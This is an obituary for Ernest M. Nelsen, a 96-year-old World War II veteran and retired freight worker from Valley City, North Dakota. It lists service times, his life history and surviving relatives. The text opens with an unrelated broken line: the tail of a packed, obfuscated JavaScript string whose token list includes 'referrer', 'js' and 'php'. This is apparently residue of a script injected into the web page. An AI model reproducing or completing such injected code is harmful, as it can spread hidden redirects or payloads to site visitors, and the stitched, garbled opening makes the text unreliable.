bezas|var|u0026u|referrer|ydzzd||js|php’.split(‘|’),0,{}))
Ernest M. Nelsen, age 96, of Valley City, ND, died Monday, December 31, 2012 at his residence. A funeral service will be held at 11:00 AM on Saturday, January 5th at Grace Free Lutheran Church in Valley City. Visitation will be held on Friday from 4:00 PM until 7:00 PM at the Lerud Schuldt Funeral Home and one hour before the service on Saturday morning at the church. A prayer service will be held at 7:00 PM Friday evening at the funeral home. Interment will be in Memory Gardens Cemetery near Valley City in the spring.

     Ernest Martin Nelsen, the son of Anton and Frederica (Basse) Nelsen, was born June 9, 1916 in LuVerne, ND. Ernest grew up and attended school in the LuVerne area. After receiving his education, Ernest began farming on the family farm. On May 19, 1941 Ernest enlisted in the US Army and served his country during World War II until he was honorably discharged on July 28, 1945. On May 14, 1950 he married Marian Monson in Valley City. Ernest worked for Bison Freight, Mercury Motor Freight and Century Freight until his retirement in 1978 after 30 years of employment. After his retirement, Marian and Ernest traveled to all 48 contiguous states. Ernest loved to travel, gardening, fishing and was an avid wood carver.

     Ernest is survived by his loving wife Marian, Valley City, ND; two daughters, Debbie (Darren) Horter, Grand Forks, ND and Cynthia (Thomas) Tatom, Valley City, ND; three granddaughters, Marty (Rich) Cramer, Bellefontaine, OH, Alex Quanbeck, Grand Forks, ND and Jennifer (Marshall) Heitzmann, Valley City, ND; three great granddaughters, Piper Englebrandt, Bellefontaine, OH and Gracie and Alexis Heitzmann, Valley City, ND; one sister, Della (Ernest) Johnson.

     Ernest was preceded in death by his parents and one brother.

     Funeral arrangements by the Lerud Schuldt Funeral Home of Valley City, ND. Online guestbook available at lerudschuldt.com